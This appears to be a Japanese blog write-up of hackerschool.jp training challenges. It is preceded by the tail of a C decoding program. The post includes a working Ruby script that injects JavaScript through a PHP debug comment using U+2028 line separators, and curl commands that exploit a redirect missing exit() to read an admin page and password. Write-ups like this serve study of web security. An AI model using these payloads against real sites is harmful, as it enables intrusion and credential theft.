   /* counter */

    while (( ch[0] = getc(fp)) != EOF ) {
        if( ch[0] >= 'a' && ch[0] <= 'z'){
                j=0;
                ch[1] = getc(fp);
                ch[2] = getc(fp);

                for(i=0; i<26+1; i++){
                    if(  (table[i][0][0] == ch[0]) 
                       &&(table[i][0][1] == ch[1])
                       &&(table[i][0][2] == ch[2]) ){
                               printf("%s",table[i][1]);
                       }
                 }

         }else{
            putchar(ch[0]);
          }
    }
   fclose(fp);   
    return 0;
}

これです。

無事解読できました。

Take62

この問題は冷静に見れば簡単です。
数分で解決しました。

与えられたソースの内
あやしすぎるデバッグ情報に注目です。

<script type="text/javascript">
// ** value dump for debug **
// nickname: <?php echo $nickname; ?>

function submit_check(){
    if(document.form1.nickname.value==''){
        alert('ニックネームを入力して下さい。');
        return false;
    }
    return true;
}
</script>

コメントとしてデバック情報が表示されるようになっており
これまた意味深に攻撃者が入力できる $nickname が表示
されるようになっていますので ここを考える以外ありません。

// nickname: test<改行>alert(1)

とすれば

// nickname: test
alert(1)

となります。改行後の部分はコメントアウトからこぼれてしまい
しかもここは scriptタグの中です(笑
ただし入力されたデータに普通に改行コードを入れても
チェックで弾かれてしまうので その点だけ工夫すれば終わりです。

例えば
ラインセパレータ(\u2028)文字は PHPやjavascriptで
行末の記号として扱われます。
特殊な文字なので入力が少し面倒なのでRubyで

#!/usr/bin/ruby
require 'net/http'

uri  = URI.parse('http://www.hackerschool.jp/hack/take62_attack.php')
post = %Q(nickname=test\u2028\u2028alert(1)&submit=%E7%99%BB%E9%8C%B2)

Net::HTTP.start(uri.host){|http|
    puts http.post( uri.path, post ).body
}

こうすれば

突破できます。

Take63

所謂"ダチョウ式リダイレクト"に関する問題です。
頭かくして尻隠さずな実装です。

ログイン状態を確認して PHPの header() 関数で
http ステータスコード302 を出してリダイレクト
させようとした時 ちゃんとそこで処理を止めなければいけませんが、
ただしく終了していない場合に起こります。

そのプログラムを作った人は header() 部分でリダイレクト
したのでその後の処理は関係ないと思ってしまいがちですが
実際 header() でやっていることは http ヘッダーに情報を
追加しているだけなので 正しく終了していなければ
実は見せたくない部分まで表示してしまっているわけです。

しかし、表面上は直ちにリダイレクトが行われるので
人間の目には問題なく移ります。

$curl  -trace http://www.hackerschool.jp/hack/take63/menu.php



管理用ページのアドレスが丸見えに

さらに

 curl  -trace http://www.hackerschool.jp/hack/take63/admin_user.php



管理パスワードの閲覧もできました。

これで終了です。

おまけ

別ページへ移動

どちらにせよまだ解けたわけではないので、
なにか良い情報があればコメントして頂けますと幸いです。

hiroumauma

Add a comment